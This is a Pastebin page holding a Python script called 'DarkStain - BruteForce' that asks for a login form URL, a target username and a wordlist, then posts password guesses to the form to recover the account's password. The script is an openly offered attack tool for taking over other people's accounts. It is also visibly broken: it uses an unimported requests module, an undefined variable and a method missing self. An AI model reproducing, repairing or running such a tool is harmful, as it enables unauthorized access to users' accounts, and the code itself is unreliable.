Advertisement
Guest User

Untitled

a guest
Mar 19th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.14 KB | None | 0 0
  1. import socket
  2. import socks
  3. import threading
  4. import random
  5. import re
  6. import urllib.request
  7. import os
  8. import sys
  9. import fileinput
  10.  
  11. from bs4 import BeautifulSoup as BS
  12. import logging
  13. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  14.  
  15. if sys.platform.startswith("linux"):
  16.     from scapy.all import *
  17. elif sys.platform.startswith("freebsd"):
  18.     from scapy.all import *
  19. else:
  20.     print ("Use HTTP flood.")
  21.  
  22. print('''
  23.  
  24. _____                           _        _    _ _ _
  25. |  _  |                         | |      | |  (_) | |
  26. | | | |_ __     _ __   ___ _ __ | |_ __ _| | ___| | |
  27. | | | | '_ \  | '_ \ / _ \ '_ \| __/ _` | |/ / | | |
  28. \ \_/ / |_) |  | |_) |  __/ | | | || (_| |   <| | | |
  29. \___/| .__/   | .__/ \___|_| |_|\__\__,_|_|\_\_|_|_|
  30.      | |______| |                                  
  31.      |_|______|_|      [DarkStain - BruteForce]                              
  32.                     [SUCCESSFULLY STARTED]
  33.                                [Lets attack :)]                                              
  34.             [Coded By : Sinxtenyin]
  35.     ''')
  36.  
  37. class Darkstainbrute():
  38.         def starturl(self):
  39.                 global url
  40.                 global url2
  41.                 global urlport
  42.  
  43.                 url = input("\nType the URL of login form to bruteforce> ").strip()
  44.  
  45.                 if url == "":
  46.                         print ("Please enter the url.")
  47.                         self.starturl()
  48.  
  49.                 try:
  50.                         if url[0]+url[1]+url[2]+url[3] == "www.":
  51.                                 url = "http://" + url
  52.                         elif url[0]+url[1]+url[2]+url[3] == "http":
  53.                                 pass
  54.                         else:
  55.                                 url = "http://" + url
  56.                 except:
  57.                         print("You mistyped, try again.")
  58.                         self.starturl()
  59.  
  60.                 try:
  61.                         url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
  62.                 except:
  63.                         url2 = url.replace("http://", "").replace("https://", "").split("/")[0]
  64.  
  65.                 try:
  66.                         urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1]
  67.                 except:
  68.                         urlport = "80"
  69.  
  70.                 self.nickname()
  71.  
  72.         def nickname(self):
  73.                 global nick
  74.                 nick = input("\nType the login nickname of account to get password> ").strip()
  75.  
  76.                 if nick == "":
  77.                         print ("Please enter the nickname.")
  78.                         self.nickname()
  79.                 else:
  80.                         self.submit()
  81.        
  82.         def submit(self):
  83.                 global submit
  84.                 submit = str(input("What's name have your submit button?> "))
  85.                 if submit == "":
  86.                         print("Please enter name of submit element.")
  87.                         self.submit()
  88.                 else:
  89.                         self.wordlist()
  90.                        
  91.  
  92.  
  93.         def wordlist(self):
  94.                 global wordlist
  95.                 wordlist = str(input("Enter (darkstain-wl.txt)> "))
  96.                 if wordlist == "":
  97.                         wordlist = "darkstain-wl.txt"
  98.  
  99.                 self.controller()
  100.                
  101.         def connect(url,m):
  102.                 t = requests.post(url, data=m)
  103.                 soup = BS(t.text)
  104.                 nick = soup.find('a', type="text")
  105.                 x = str(a.string)
  106.                 if x == nick:
  107.                         print ("The password is" + " " + m['passw'])
  108.                         sys.exit()
  109.                 else:
  110.                         print ("Password attack atempt %s" %m['passw'])
  111.  
  112.  
  113.  
  114.         def controller(self):
  115.              m = {}
  116.              for line in fileinput.input([wordlist]):
  117.                         m["uid"] = nick
  118.                         m["passw"] = str(line)
  119.                         submit = m["submit"]
  120.                         print (m)
  121.                         connect(url,m)
  122.            
  123.  
  124. def main():
  125.         darkstainbrute = Darkstainbrute()
  126.         darkstainbrute.starturl()
  127.  
  128. if __name__ == "__main__":
  129.         main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement